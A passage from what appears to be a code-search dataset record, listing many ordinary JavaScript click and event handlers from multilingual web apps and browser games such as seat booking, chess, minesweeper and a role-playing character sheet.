== 119 || e.type == 'click') {\n\t\t_ventanaDatos({\n\t\t\ttitulo: \"VENTANA CUENTA MAYOR\",\n\t\t\tcolumnas: [\"LLAVE_MAE\", \"NOMBRE_MAE\"],\n\t\t\tdata: $_planCuentas718,\n\t\t\tcallback_esc: () => { validarCtaTercero718() },\n\t\t\tcallback: (data) => {\n\t\t\t\tlet caja = e.currentTarget.id;\n\t\t\t\tif (caja == 'ctaingrTercer_718') {\n\t\t\t\t\tSAL718.MAESTROS.LLAVE_MAE = data.LLAVE_MAE; SAL718.MAESTROS.NOMBRE_MAE = data.NOMBRE_MAE;\n\t\t\t\t\t$('#ctaingrTercer_718').val(data.LLAVE_MAE.toString().trim())\n\t\t\t\t\t$('#ctaDescripTercer_718').val(data.NOMBRE_MAE.toString().trim())\n\t\t\t\t\tvalidarTercero718();\n\t\t\t\t} else {\n\t\t\t\t\tswitch ($_USUA_GLOBAL[0].PUC) {\n\t\t\t\t\t\tcase '1': document.getElementById('codPuc_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\n\t\t\t\t\t\tcase '2': document.getElementById('codCoop_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\n\t\t\t\t\t\tcase '3': document.getElementById('codPuc_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\n\t\t\t\t\t\tcase '4': document.getElementById('codOficial_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\n\t\t\t\t\t\tcase '6': document.getElementById('codPuc_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\n\t\t\t\t\t\tdefault: document.getElementById('codPuc_718').value = SAL718.MAESTROS.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\n\t\t\t\t\t}\n\t\t\t\t\tvalidarDivision718();\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}\n}","function selectButton(e){\n \t//A Player vamos agregando en el array las Posicion(o seas el Turno de los Players)\n \tvar currentPlayer = listPlayers[turno];\n \tif(hasPositionByButton(e)){\n\t \tcurrentPlayer.addNewPosition(e);\n\t \t//Que imprima en el input el turno que le toca\n\t \tsetTurnOnView();\n\t \t//Para Dibujar en el Button\n\t \tdrawButton(e);\n\t \t//Para Validar si hay un ganador\n\t \tValidateWinner(currentPlayer); \t\n\t //Cambiamos el Turno, al que le toca\n\t changeTurn();\n\t }\n }","function setTunnetutMouseAction() {\n let tunnetut = document.getElementsByClassName(\"tunnettu sana\");\n if (tunnetut != undefined && tunnetut != null && tunnetut.length > 0) {\n for (let el of tunnetut) {\n el.onclick = mouseClickActScopePreserver(el);\n }\n }\n\n let tunnetut2 = document.getElementsByClassName(\"tunnettu sana vinkki\");\n if (tunnetut2 != undefined && tunnetut2 != null && tunnetut2.length > 0) {\n for (let el of tunnetut2) {\n el.onclick = mouseClickActScopePreserver(el);\n }\n }\n\n let tunnetut4 = document.getElementsByClassName(\"tunnettu vinkki sana\");\n if (tunnetut4 != undefined && tunnetut4 != null && tunnetut4.length > 0) {\n for (let el of tunnetut4) {\n el.onclick = mouseClickActScopePreserver(el);\n }\n }\n\n let tunnetut3 = document.getElementsByClassName(\"fade-in tunnettu sana\");\n if (tunnetut3 != undefined && tunnetut3 != null && tunnetut3.length > 0) {\n for (let el of tunnetut3) {\n el.onclick = mouseClickActScopePreserver(el);\n }\n }\n\n return true;\n}","function falso(v) {\n\n boton.disabled = false;\n\n boton.addEventListener(\"click\", function () {\n isNotTrue(v);\n\n boton.style.display = \"none\";\n });\n\n}"],"string":"[\n \"function ClickGerarElite() {\\n GeraElite();\\n AtualizaGeral();\\n}\",\n \"function ClickGerarAleatorioElite() {\\n GeraAleatorioElite();\\n AtualizaGeral();\\n}\",\n \"function ClickHabilidadeEspecial() {\\n // TODO da pra melhorar.\\n AtualizaGeral();\\n}\",\n \"function ClickGastarFeitico() {\\n AtualizaGeral();\\n}\",\n \"function do_click(reserva) {\\n\\tvar v = document.getElementById(reserva);\\n\\tif (v.alt != 2) {\\n\\t\\tif (fila == 0) { // Comprobacion de que es la primera fila que se\\n\\t\\t\\t\\t\\t\\t\\t// escoje\\n\\t\\t\\tfila = parseInt(reserva / 100);\\n\\t\\t\\tif (v.alt == 0) {\\n\\t\\t\\t\\tv.src = 'images/butacas/iconoLibre.ico';\\n\\t\\t\\t\\tv.alt = 1;\\n\\t\\t\\t\\tsetSeat(reserva);\\n\\t\\t\\t} else if (v.alt == 1) {\\n\\t\\t\\t\\tv.src = 'images/butacas/iconoElegido.ico';\\n\\t\\t\\t\\tv.alt = 0;\\n\\t\\t\\t\\tdeleteSeat(reserva);\\n\\t\\t\\t}\\n\\t\\t} else if (parseInt(reserva / 100) == fila) {\\n\\t\\t\\tif (v.alt == 0) {\\n\\t\\t\\t\\tif (contador < 10) {\\n\\t\\t\\t\\t\\tv.src = 'images/butacas/iconoLibre.ico';\\n\\t\\t\\t\\t\\tv.alt = 1;\\n\\t\\t\\t\\t\\tsetSeat(reserva);\\n\\t\\t\\t\\t} else\\n\\t\\t\\t\\t\\talert(\\\"No se puede comprar mas de 10 entradas\\\");\\n\\t\\t\\t} else if (v.alt == 1) {\\n\\t\\t\\t\\tv.src = 'images/butacas/iconoElegido.ico';\\n\\t\\t\\t\\tv.alt = 0;\\n\\t\\t\\t\\tdeleteSeat(reserva);\\n\\t\\t\\t}\\n\\t\\t} else\\n\\t\\t\\talert(\\\"Las entradas deben pertenecer a la misma fila\\\");\\n\\t}\\n}\",\n \"function ClickDescansar(valor) {\\n // Cura letal e nao letal.\\n EntradasAdicionarFerimentos(-PersonagemNivel(), false);\\n EntradasAdicionarFerimentos(-PersonagemNivel(), true);\\n EntradasRenovaSlotsFeiticos();\\n AtualizaGeralSemLerEntradas();\\n AtualizaGeral();\\n}\",\n \"function ClickGerarPontosDeVida(modo) {\\n GeraPontosDeVida(modo);\\n AtualizaGeral();\\n}\",\n \"function asignarEventos() {\\n _.click(function() {\\n\\n });\\n}\",\n \"function calificar(){\\n//comprobar si ya está vinculado para abrir una pagina emergente y un menú para seleccionar la ruta a calificar\\n//if(vincular()=true)\\n//open window\\n//Al dar clic en el boton de calificar se debe cerrar la ventana emergente y mandar calificacion\\n//\\n}\",\n \"function onClick(e) {\\n let cantSalvo = tableroSalvo.querySelectorAll(\\\".active\\\").length;\\n let ajeno = tableroNaves.querySelectorAll(\\\".hit\\\").length + tableroNaves.querySelectorAll(\\\".fail\\\").length;\\n let propio = tableroSalvo.querySelectorAll(\\\".hit\\\").length + tableroSalvo.querySelectorAll(\\\".fail\\\").length;\\n\\n if(e.target.classList.contains(\\\"active\\\")) {\\n e.target.classList.remove(\\\"active\\\");\\n cantSalvo--;\\n } else if(cantSalvo < 5) {\\n e.target.classList.add(\\\"active\\\");\\n cantSalvo++;\\n }\\n\\n if (cantSalvo < 5 || app.turnos(propio, ajeno)) {\\n document.querySelector(\\\".btnShot\\\").setAttribute(\\\"disabled\\\", \\\"true\\\");\\n } else {\\n document.querySelector(\\\".btnShot\\\").removeAttribute(\\\"disabled\\\");\\n }\\n}\",\n \"function ClickEstilo(nome_estilo, id_select_secundario) {\\n var select_secundario = Dom(id_select_secundario);\\n if (nome_estilo == 'uma_arma' || nome_estilo == 'arma_escudo' || nome_estilo == 'arma_dupla' || nome_estilo == 'rajada' || nome_estilo == 'tiro_rapido') {\\n select_secundario.disabled = true;\\n } else if (nome_estilo == 'duas_armas') {\\n select_secundario.disabled = false;\\n } else {\\n Mensagem(Traduz('Nome de estilo invalido') + ': ' + Traduz(nome_estilo));\\n }\\n AtualizaGeral();\\n}\",\n \"function ClickGerarComum() {\\n GeraComum();\\n AtualizaGeral();\\n}\",\n \"function logo_click() {\\n if (pasos.paso1.aseguradoraSeleccionada != null && pasos.paso1.aseguradoraSeleccionada.id == pasos.paso1.listaAseguradoras[$(this).index()].id) {\\n componentes.progreso.porcentaje = 0;\\n componentes.progreso.barra.css({width: '0px'});\\n pasos.paso1.aseguradoraSeleccionada = null;\\n $(this).removeClass(\\\"seleccionada\\\");\\n componentes.pasos.paso1.numero_siniestro.prop('readonly', true);\\n } else {\\n if (pasos.paso1.aseguradoraSeleccionada == null) {\\n componentes.progreso.porcentaje = 5;\\n componentes.progreso.barra.css({width: '5%'});\\n }\\n pasos.paso1.aseguradoraSeleccionada = pasos.paso1.listaAseguradoras[$(this).index()];\\n $.get('http://localhost:8080/ReForms_Provider/wr/perito/buscarPeritoPorAseguradora/' + pasos.paso1.aseguradoraSeleccionada.id, respuesta_buscarPeritoPorAseguradora, 'json');\\n $(this).siblings(\\\".seleccionada\\\").removeClass(\\\"seleccionada\\\");\\n $(this).addClass(\\\"seleccionada\\\");\\n componentes.pasos.paso1.numero_siniestro.prop('readonly', false);\\n }\\n componentes.pasos.paso1.numero_siniestro.val('').focus();\\n componentes.pasos.paso1.numero_siniestro.keyup();\\n }\",\n \"function tzimhoniClick()\\n\\t\\t{\\n\\t\\tif (tzimhoniClickStatus==true){\\n\\t\\t\\tthis.instruction_txt.text=\\\"לחץ על רכיב שתרצה לדעת עליו יותר\\\";\\n\\t\\t\\tthis.tivoni_fade.visible=1;\\n\\t\\t\\tthis.heraion_fade.visible=1;\\n\\t\\t\\tthis.kasher_fade.visible=1;\\n\\t\\t\\tthis.tzimhoni_fade.visible=0;\\n\\t\\t\\ttzimhoniClickStatus=false;\\n\\t\\t\\ttivoniClickStatus=true;\\n\\t\\t\\tkasherClickStatus=true;\\n\\t\\t\\theraionClickStatus=true;\\n\\t\\t\\tthis.tamago.alpha=1;\\n\\t\\t\\tthis.tivoni.mouseEnabled=false;\\n\\t\\t\\tthis.heraion.mouseEnabled=false;\\n\\t\\t\\tthis.kasher.mouseEnabled=false;\\n\\t\\t\\tthis.unagi.mouseEnabled=false;\\n\\t\\t\\tthis.tobiko.mouseEnabled=false;\\n\\t\\t\\tthis.tuna.mouseEnabled=false;\\n\\t\\t\\tthis.surimi.mouseEnabled=false;\\n\\t\\t\\tthis.palamida.mouseEnabled=false;\\n\\t\\t\\tthis.salmon.mouseEnabled=false;\\n\\t\\t\\tthis.skin.mouseEnabled=false;\\n\\t\\t\\tthis.ekora.mouseEnabled=false;\\n\\t\\t}\\n\\t\\telse{\\n\\t\\t\\tthis.instruction_txt.text=\\\"לחץ לבחירת המאפיין\\\";\\n\\t\\t\\tthis.tivoni_fade.visible=0;\\n\\t\\t\\tthis.heraion_fade.visible=0;\\n\\t\\t\\tthis.kasher_fade.visible=0;\\n\\t\\t\\tthis.tzimhoni_fade.visible=0;\\n\\t\\t\\ttzimhoniClickStatus=true;\\n\\t\\t\\ttivoniClickStatus=true;\\n\\t\\t\\tkasherClickStatus=true;\\n\\t\\t\\theraionClickStatus=true;\\n\\t\\t\\tthis.tivoni.mouseEnabled=true;\\n\\t\\t\\tthis.heraion.mouseEnabled=true;\\n\\t\\t\\tthis.kasher.mouseEnabled=true;\\n\\t\\t\\tthis.unagi.mouseEnabled=true;\\n\\t\\t\\tthis.tobiko.mouseEnabled=true;\\n\\t\\t\\tthis.tuna.mouseEnabled=true;\\n\\t\\t\\tthis.surimi.mouseEnabled=true;\\n\\t\\t\\tthis.palamida.mouseEnabled=true;\\n\\t\\t\\tthis.salmon.mouseEnabled=true;\\n\\t\\t\\tthis.skin.mouseEnabled=true;\\n\\t\\t\\tthis.ekora.mouseEnabled=true;\\n\\t\\t}\\n\\t\\t\\n\\t\\t}\",\n \"function avvisaUtente() { // senza argomento\\n alert('Ciao utente, ti sto avvisando');\\n}\",\n \"function click(cuadrado) {\\n\\n // Función que nos permite activar el timer\\n function activaTiempo(){\\n tiempoJuego = setInterval(actualizaTiempo, 1000)\\n tiempoActivo = true\\n }\\n \\n // obtenemos el id del cuadrado\\n let idActual = cuadrado.id\\n // Si el tiempo no ha sido activado lo activamos\\n if (!tiempoActivo) activaTiempo()\\n // Si el juego ya ha terminado nos salimos\\n if (juegoAcabado) return\\n // Si el cuadrado ha sido chequeado o contiene una bandera nos salimos\\n if (cuadrado.classList.contains('chequeado') || cuadrado.classList.contains('bandera')) return\\n // Si contiene una bomba simplemente acaba el juego\\n if (cuadrado.classList.contains('bomba')) {\\n gameOver(cuadrado)\\n } \\n // En caso contrario lo descubrimos y colocamos el valor que contiene en el data que sera visible\\n else {\\n let total = cuadrado.getAttribute('data')\\n if (total !=0) {\\n cuadrado.classList.add('chequeado')\\n if (total == 1) cuadrado.classList.add('uno')\\n if (total == 2) cuadrado.classList.add('dos')\\n if (total == 3) cuadrado.classList.add('tres')\\n if (total == 4) cuadrado.classList.add('cuatro')\\n if (total == 5) cuadrado.classList.add('cinco')\\n if (total == 6) cuadrado.classList.add('seis')\\n if (total == 7) cuadrado.classList.add('siete')\\n if (total == 8) cuadrado.classList.add('ocho')\\n cuadrado.innerHTML = total\\n return\\n }\\n // Solo llegamos a este caso si el cuadrado es un cuadrado que permite expandirse \\n chequeaCuadrado(cuadrado, idActual)\\n }\\n cuadrado.classList.add('chequeado')\\n}\",\n \"function escucha_users(){\\n\\t/*Activo la seleccion de usuarios para modificarlos, se selecciona el usuario de la lista que\\n\\tse muestra en la pag users.php*/\\n\\tvar x=document.getElementsByTagName(\\\"article\\\");/*selecciono todos los usuarios ya qye se encuentran\\n\\tdentro de article*/\\n\\tfor(var z=0; z #user\\\");\\n if(localStorage.getItem(\\\"user\\\")){\\n btn.onclick = (e)=>{\\n if(localStorage.getItem(\\\"user\\\")){\\n location.replace(\\\"/login/informacioncuenta\\\");\\n }else{\\n urlCreateAccount();\\n }\\n }\\n }else{\\n urlCreateAccount();\\n }\\n}\",\n \"function ClickDesfazer() {\\n gEntradas = JSON.parse(gEstado.Restaura());\\n AtualizaGeralSemLerEntradas();\\n}\",\n \"function ClickVisao(modo) {\\n // Loop para esconder tudo.\\n for (var j = 0; j < tabelas_visoes[modo].esconder.classes.length; ++j) {\\n var divs_esconder = DomsPorClasse(tabelas_visoes[modo].esconder.classes[j]);\\n for (var i = 0; i < divs_esconder.length; ++i) {\\n divs_esconder[i].style.display = 'none';\\n }\\n }\\n for (var i = 0; i < tabelas_visoes[modo].esconder.elementos.length; ++i) {\\n var divs_combate = Dom(tabelas_visoes[modo].esconder.elementos[i]);\\n divs_combate.style.display = 'none';\\n }\\n // Loop para mostrar.\\n for (var j = 0; j < tabelas_visoes[modo].mostrar.classes.length; ++j) {\\n var divs_mostrar = DomsPorClasse(tabelas_visoes[modo].mostrar.classes[j]);\\n for (var i = 0; i < divs_mostrar.length; ++i) {\\n divs_mostrar[i].style.display = 'block';\\n }\\n }\\n for (var i = 0; i < tabelas_visoes[modo].mostrar.elementos.length; ++i) {\\n var divs_combate = Dom(tabelas_visoes[modo].mostrar.elementos[i]);\\n divs_combate.style.display = 'block';\\n }\\n gEntradas.modo_visao = modo;\\n AtualizaGeralSemLerEntradas();\\n}\",\n \"function verify() {\\n //verifica en que pagina se encuentra, dependiendo de la pagina, su respectiva verificacion\\n\\n\\n\\n $(\\\"#altaProductoBoton\\\").on(\\\"click\\\", verificarAltaProducto);\\n $(\\\"#altaCategoriaBoton\\\").on(\\\"click\\\", verificarAltaCategoria);\\n $(\\\"#bajaProductoBoton\\\").on(\\\"click\\\", verificarBajaProducto);\\n $(\\\"#modificarproductoBoton\\\").on(\\\"click\\\", verficiarModificarProducto);\\n $(\\\"#modificarProductoConfirmBoton\\\").on(\\\"click\\\", verficiarModificarConfirmProducto);\\n\\n\\n}\",\n \"function clickAssess() {\\n\\t$.trigger(\\\"clickAssess\\\");\\n}\",\n \"siguienteNivel() {\\n this.subNivel = 0;\\n this.iluminarSecuencia();\\n this.agregarEventosClick();\\n }\",\n \"function ClickSalvar() {\\n AtualizaGeral(); // garante o preenchimento do personagem com tudo que ta na planilha.\\n var nome = gPersonagem.nome.length > 0 ? gPersonagem.nome : 'saved_entradas';\\n if (nome == '--') {\\n Mensagem('Nome \\\"--\\\" não é válido.');\\n return;\\n }\\n HabilitaOverlay();\\n SalvaNoArmazem(nome, JSON.stringify(gEntradas), function() {\\n CarregaPersonagens();\\n DesabilitaOverlay();\\n Mensagem(Traduz('Personagem') + ' \\\"' + nome + '\\\" ' + Traduz('salvo com sucesso.'));\\n });\\n}\",\n \"function ClickVisualizacaoModoMestre() {\\n gEntradas.modo_mestre = Dom('input-modo-mestre').checked;\\n AtualizaGeralSemLerEntradas();\\n}\",\n \"function checkUser(){\\n //console.log('check user started');\\n cumputerTurn = false;\\n if(userClicked == true){\\n \\n }\\n}\",\n \"function ClickAdicionarEscudo() {\\n gEntradas.escudos.push({ chave: 'nenhum', obra_prima: false, bonus: 0 });\\n AtualizaGeralSemLerEntradas();\\n}\",\n \"function clickEnCasilla(x, y) {\\n if (miPartida.tableroGirado) {\\n x = 7 - x;\\n y = 7 - y;\\n }\\n\\n let blanca = esBlanca(miPartida.tablero[x][y]);\\n let negra = esNegra(miPartida.tablero[x][y]);\\n\\n if (!miPartida.hayPiezaSelec) {\\n if (miPartida.turno && blanca || !miPartida.turno && negra)\\n realizarSeleccionPieza(x, y);\\n } else {\\n if (esMovValido(x, y)) {\\n if (siPeonPromociona(x))\\n modalPromocionPeon(x, y);\\n else {\\n enviarMovimiento(x, y, null);\\n realizarMovimientoYComprobaciones(x, y, false);\\n }\\n } else {\\n // Si la pieza pulsada no es la que estaba seleccionada, selecciono la nueva\\n if (x !== miPartida.piezaSelec.x || y !== miPartida.piezaSelec.y) {\\n // Compruebo que este pulsando una pieza y que sea de mi color\\n if (miPartida.turno && blanca || !miPartida.turno && negra) {\\n eliminarEstiloMovPosibles();\\n realizarSeleccionPieza(x, y);\\n }\\n } else { // Si la pieza pulsada es la que estaba seleccionada, la deselecciono\\n eliminarEstiloMovPosibles();\\n deseleccionarPieza();\\n }\\n }\\n }\\n}\",\n \"function iniciar() {\\n cuerpoTablaUsuario = document.getElementById('cuerpoTablaUsuario'); \\n divRespuesta = document.getElementById('divRespuesta');\\n var botonAlta = document.getElementById('botonAlta');\\n botonAlta.addEventListener('click', altaUsuario); \\n}\",\n \"function IniciarEventos(){\\n\\t$('#guardar').click(guardardatos)\\n\\t$('#cancelar').click(function(){window.history.back()})\\n\\tshowmessage()\\n}\",\n \"function escucha_Permisos(){\\n\\t/*Activo la seleccion de usuarios para modificarlos, se selecciona el usuario de la lista que\\n\\tse muestra en la pag users.php*/\\n\\tvar x=document.getElementsByClassName(\\\"work_data\\\");/*selecciono todos los usuarios ya qye se encuentran\\n\\tdentro de article*/\\n\\tfor(var z=0; z= 620 && mouseY <= 720 && mouseX >= 1040 && mouseX <= 1280) {\\n aanvalActie = false;\\n aanvalKnopStatus = false;\\n beweegActie = false;\\n beweegKnopStatus = false;\\n beurtVeranderen();\\n veranderKleur(donkerblauw,wit);\\n veranderKleur(lichtblauw,wit);\\n }\\n}\",\n \"function ocultable_click() {\\n if (!edicion) {\\n $(this).siblings('.ocultable-contenido').slideToggle();\\n $(this).parent('.ocultable').siblings('.ocultable').children('.ocultable-contenido').slideUp()();\\n }\\n }\",\n \"function conocerEvento(e)\\n{\\n\\n\\tvar evento = e || window.event;\\n\\n\\t\\t//document.getElementById(\\\"evento\\\").value = e.type;\\n\\n // console.log(\\\"evento\\\");\\n // console.log(e);\\n\\n if(evento.type == \\\"click\\\")\\n {\\n\\n //console.log(\\\"nombre del click\\\");\\n //console.log(evento.path[0].id);\\n\\n var nombreclick=evento.path[0].id;\\n\\n\\n //continuar\\n if(nombreclick.substr(0,10) == \\\"continuar\\\")\\n {\\n //alert(\\\"click\\\");\\n //var id=nombreclick.substr(7);\\n //console.log(\\\"comienza valor\\\");\\n //console.log(nombreclick.substr(8));\\n //alert(\\\"empezo entreno\\\");\\n\\n //id_plan = document.getElementById(\\\"codigoplan\\\").value;\\n //console.log(id_sesion);\\n //almacenarlocal('id_plan', id_plan);\\n //una();\\n\\n }\\n\\n\\n\\n\\n }\\n\\n\\n // switch(evento.type) {\\n // case 'mouseover':\\n // this.style.borderColor = 'black';\\n // break;\\n // case 'mouseout':\\n // this.style.borderColor = 'silver';\\n // break;\\n // }\\n\\n}\",\n \"function asignarEventoClickAprendiz(idAprendiz,identificacion,nombreCompleto,idFicha,idDetalleEstado,contador){\\r\\n\\r\\n\\t$(\\\"#btnModificarAprendiz\\\"+contador).click(function(){\\r\\n\\r\\n\\t\\tlimpiarFormulario(\\\"formModificarAprendiz\\\");\\r\\n\\t\\t\\r\\n\\t\\t$(\\\"#txtIdAprendiz\\\").val(idAprendiz);\\r\\n\\t\\t\\r\\n\\t\\t$(\\\"#txtIdentificacionAprendizMod\\\").val(identificacion);\\r\\n\\t\\t$(\\\"#txtNombreCompletoAprendizMod\\\").val(nombreCompleto);\\r\\n\\t\\t$(\\\"#selectFichaAprendizMod\\\").val(idFicha);\\r\\n\\t\\t$(\\\"#selectDetalleEstadoAprendizMod\\\").val(idDetalleEstado);\\r\\n\\t\\t\\r\\n\\t});\\r\\n}\",\n \"function changeUserStatut() {\\n $('.sidebar').on('click', '.user-login li a', function(e) {\\n e.preventDefault();\\n var statut = $(this).find('span').text();\\n currentStatut = $('.user-login button span').text();\\n $('.user-login button span').text(statut);\\n if (statut == 'Busy') {\\n $('.user-login button i:not(.fa)').removeClass().addClass('busy');\\n }\\n if (statut == 'Invisible') {\\n $('.user-login button i:not(.fa)').removeClass().addClass('turquoise');\\n }\\n if (statut == 'Away') {\\n $('.user-login button i:not(.fa)').removeClass().addClass('away');\\n }\\n });\\n}\",\n \"function posarBoleta(e) {\\r\\n// console.log(\\\"has clicat el \\\"+ e.target.getAttribute('id'));\\r\\n if (numDeClics==0) {\\r\\n //si guanya\\r\\n if (e.target.getAttribute('id')==aleatorio) {\\r\\n resultat(\\\"guany\\\", \\\"Felicitats :)\\\");\\r\\n // resultat(\\\"Felicitats :)\\\");\\r\\n //si perd\\r\\n }else{\\r\\n // resultat(\\\"Torna a provar! :S\\\");\\r\\n resultat(\\\"perd\\\", \\\"Torna a provar! :S\\\");\\r\\n\\r\\n }\\r\\n numDeClics=numDeClics+1;\\r\\n }\\r\\n}\",\n \"function cambiarEstado(e) {\\r\\n e.preventDefault();\\r\\n var contadore = 0;\\r\\n if (e.target.classList.contains('mes-Mesa') || e.target.classList.contains('mes-Mesa-circular')) {\\r\\n if (e.target.classList.contains('activo')) {\\r\\n e.target.classList.remove('activo');\\r\\n } else {\\r\\n for (var x = 0; x < reserva.children.length; x++) {\\r\\n if (reserva.children[x].classList.contains('activo')) {\\r\\n contadore++;\\r\\n }\\r\\n }\\r\\n if (contadore === 0 && !e.target.classList.contains('reservado')) {\\r\\n e.target.classList.add('activo');\\r\\n } else {\\r\\n Swal.fire({\\r\\n icon: 'error',\\r\\n title: 'No puede reservar mas de una mesa ni reservar una ocupada',\\r\\n text: 'Error'\\r\\n });\\r\\n }\\r\\n }\\r\\n }\\r\\n}\",\n \"creanOnClick() {\\n\\n var currentAssignmentType = AssignmentReactiveVars.CurrentAssignmentType.get();\\n\\n switch (currentAssignmentType) {\\n case AssignmentType.USERTOTASK:\\n console.error(\\\"Template.assignmentCalendar.events.click .creneau\\\", \\\"User can't normally click on this kind of element when in userToTask\\\");\\n return;\\n break;\\n case AssignmentType.TASKTOUSER: //only display users that have at least one availability matching the selected time slot\\n break;\\n }\\n }\",\n \"function verAcuerdoEspecialBonificaciones(id)\\n{\\nif(document.getElementById(\\\"divDatosAcuerdoEspecialBonificaciones\\\"+id).style.display==\\\"block\\\")\\n {\\n document.getElementById(\\\"divDatosAcuerdoEspecialBonificaciones\\\"+id).style.display=\\\"none\\\";\\n document.getElementById(\\\"buttonVerDatosAcuerdoEspecialBonificaciones\\\"+id).innerHTML=\\\"Ver\\\";\\n }\\nelse\\n {\\n var requerimiento = new RequerimientoGet();\\n requerimiento.setURL(\\\"acuerdobonificaciones/seleccionaracuerdo/ajax/datosAcuerdoBonificaciones.php\\\");\\n requerimiento.addParametro(\\\"id\\\",id);\\n requerimiento.addListener(respuestaVerDatosAcuerdoEspecialBonificaciones);\\n requerimiento.ejecutar();\\n }\\n\\n}\",\n \"elegirColor(ev){\\n console.log(ev);\\n //capturamos el color que presiona el usuario\\n const nombreColor = ev.target.dataset.color;\\n //convertimos a numero el color que selecciona el usuario\\n const numeroColor = this.transformarColorANumero(nombreColor);\\n //iluminamos el color que apreto el usuario\\n this.iluminarColor(nombreColor);\\n //comprobacion de lo que presiona el usuario, si elige bien, se incrementa el subnivel\\n if (numeroColor === this.secuencia[this.subnivel]) {\\n this.subnivel++;\\n //comprobamos si el subnivel es igual al nivel en que esta el usuario, si es asi, incrementamos el nivel\\n if (this.subnivel === this.nivel) {\\n this.nivel++;\\n //eliminamos los eventos click que ya ocurrieron\\n this.eliminarEventosClick();\\n if (this.nivel === (ULTIMO_NIVEL +1)) {\\n this.ganarJuego();\\n\\n } else {\\n setTimeout(this.siguienteNivel,1500);\\n }\\n } \\n } else {\\n //PIERDE\\n this.perderJuego();\\n }\\n \\n }\",\n \"function mostrarDevoluciones(){ // Cuando toque el boton \\\"devoluciones\\\" voy a ver la seccion (hacer devoluciones)\\r\\n limpiar(); //limpio campos de texto y mensajes al usuario\\r\\n document.querySelector(\\\"#homeDocente\\\").style.display = \\\"block\\\"; // habilito division docente\\r\\n document.querySelector(\\\"#bodyHome\\\").style.display = \\\"none\\\"; // oculto body bienvenida\\r\\n document.querySelector(\\\"#divAsignarNivel\\\").style.display = \\\"none\\\"; // oculto plantear ejercicios a alumnos\\r\\n document.querySelector(\\\"#divPlantearEje\\\").style.display = \\\"none\\\"; // oculto plantear tarea\\r\\n document.querySelector(\\\"#divEntregas\\\").style.display = \\\"none\\\"; // oculto tabla\\r\\n document.querySelector(\\\"#divDevoluciones\\\").style.display = \\\"block\\\"; // muestro redactar devoluciones a tareas\\r\\n document.querySelector(\\\"#divEstadisticas\\\").style.display = \\\"none\\\"; // oculto visualizar estadisticas\\r\\n}\",\n \"metodoClick(){\\n console.log(\\\"diste click\\\")\\n }\",\n \"function logNewsClickForUser(user_id, news_id, user_ip) {\\n client.request('logNewsClickForUser', [user_id, news_id, user_ip], function(err, error, response) {\\n if (err) throw err;\\n });\\n }\",\n \"function fAppMeteo() {\\n $(\\\"#bokm\\\").click(fAffMeteo);\\n}\",\n \"function sitClick(sitID) {\\n \\n currentSituation = findSituationByID(sitID);\\n refreshRateIndicator();\\n refreshSituationButtons();\\n refreshSpiritQuotes();\\n refreshSpiritIcon();\\n refreshUnderstanding();\\n \\n}\",\n \"function _attivaIsola(){\\r\\n\\t\\t\\t$('.isola').each(function(){\\r\\n\\t\\t\\t\\tif($(this).is('[id^=\\\"isola'+isolaIndex+'\\\"]')){\\r\\n\\t\\t\\t\\t\\t$(this).addClass('attiva').removeClass('spenta');\\r\\n\\t\\t\\t\\t}else{\\r\\n\\t\\t\\t\\t\\t$(this).removeClass('attiva').addClass('spenta');\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t});\\r\\n\\t\\t\\t$('.testo-isola#t'+isolaIndex).addClass('presente');\\r\\n\\r\\n\\t\\t\\tclicking = true;\\r\\n\\t\\t}\",\n \"function mostrarEstDocente(){ // Cuando toque el boton \\\"estadisticas\\\" voy a ver la seccion (ver estadisticas)\\r\\n limpiar(); //limpio campos de texto y mensajes al usuario\\r\\n document.querySelector(\\\"#homeDocente\\\").style.display = \\\"block\\\"; //Habilito division docente\\r\\n document.querySelector(\\\"#bodyHome\\\").style.display = \\\"none\\\"; //Oculto body bienvenida\\r\\n document.querySelector(\\\"#divAsignarNivel\\\").style.display = \\\"none\\\"; // oculto plantear ejercicios a alumnos\\r\\n document.querySelector(\\\"#divPlantearEje\\\").style.display = \\\"none\\\"; // oculto plantear tarea\\r\\n document.querySelector(\\\"#divDevoluciones\\\").style.display = \\\"none\\\"; // oculto redactar devoluciones a tareas\\r\\n document.querySelector(\\\"#divEstadisticas\\\").style.display = \\\"block\\\"; // muestro visualizar estadisticas\\r\\n generarListaAlumnos();\\r\\n}\",\n \"function ActivarAyudaContextual(bDevolverExitoEjecucion)\\r\\n{\\r\\n\\tif (bARQAyudasContActivas)\\r\\n\\t\\tquitarIconoAyudasCont();\\r\\n\\telse\\r\\n\\t\\tponerIconoAyudasCont();\\t\\t\\r\\n}\",\n \"function triggerEvent(event, id) {\\n\\n event.addEventListener('click', function (e) {\\n if (event.id == \\\"fallevent\\\") {\\n document.getElementById(\\\"patient!@!local\\\").classList.add('rotate-fall');\\n }\\n if (event.id == \\\"normalevent\\\") {\\n document.getElementById(\\\"patient!@!local\\\").classList.remove('rotate-fall');\\n }\\n fetch(`/${event.id}?username=${id}`, {\\n method: 'POST'\\n }).then(function (response) {\\n response.json().then(function (json) {\\n\\n responseString = response.status + \\\" - \\\" + response.statusText;\\n if (response.ok)\\n return toastr[\\\"success\\\"](json.text, responseString);\\n\\n else if (response.status != 401)\\n return toastr[\\\"warning\\\"](json.text, responseString);\\n\\n else\\n throw new Error(responseString);\\n });\\n })\\n .catch(function (error) {\\n toastr.error(error, {\\n timeOut: 10000\\n });\\n });\\n });\\n}\",\n \"function theClick() {\\r\\n console.log('inicia')\\r\\n dataNodes()\\r\\n dataElements()\\r\\n backEnd()\\r\\n}\",\n \"function cargarEvento(){\\n\\t\\n\\tif(document.readyState==\\\"interactive\\\"){\\n\\t\\tdocument.getElementById(\\\"id_enviar\\\").addEventListener(\\\"click\\\",peticionAlta,false);\\n\\t}\\n}\",\n \"clickHandler(evt) {\\n if (evt.target.classList.contains('fa-check')) {\\n gameApp.eventHandler(evt);\\n }\\n\\n if (evt.target.classList.contains('assignment') || evt.target.parentElement.classList.contains('assignment')) {\\n gameApp.activateContract(evt);\\n }\\n\\n if (evt.target.classList.contains('loc')) {\\n gameApp.addLoc();\\n }\\n\\n if 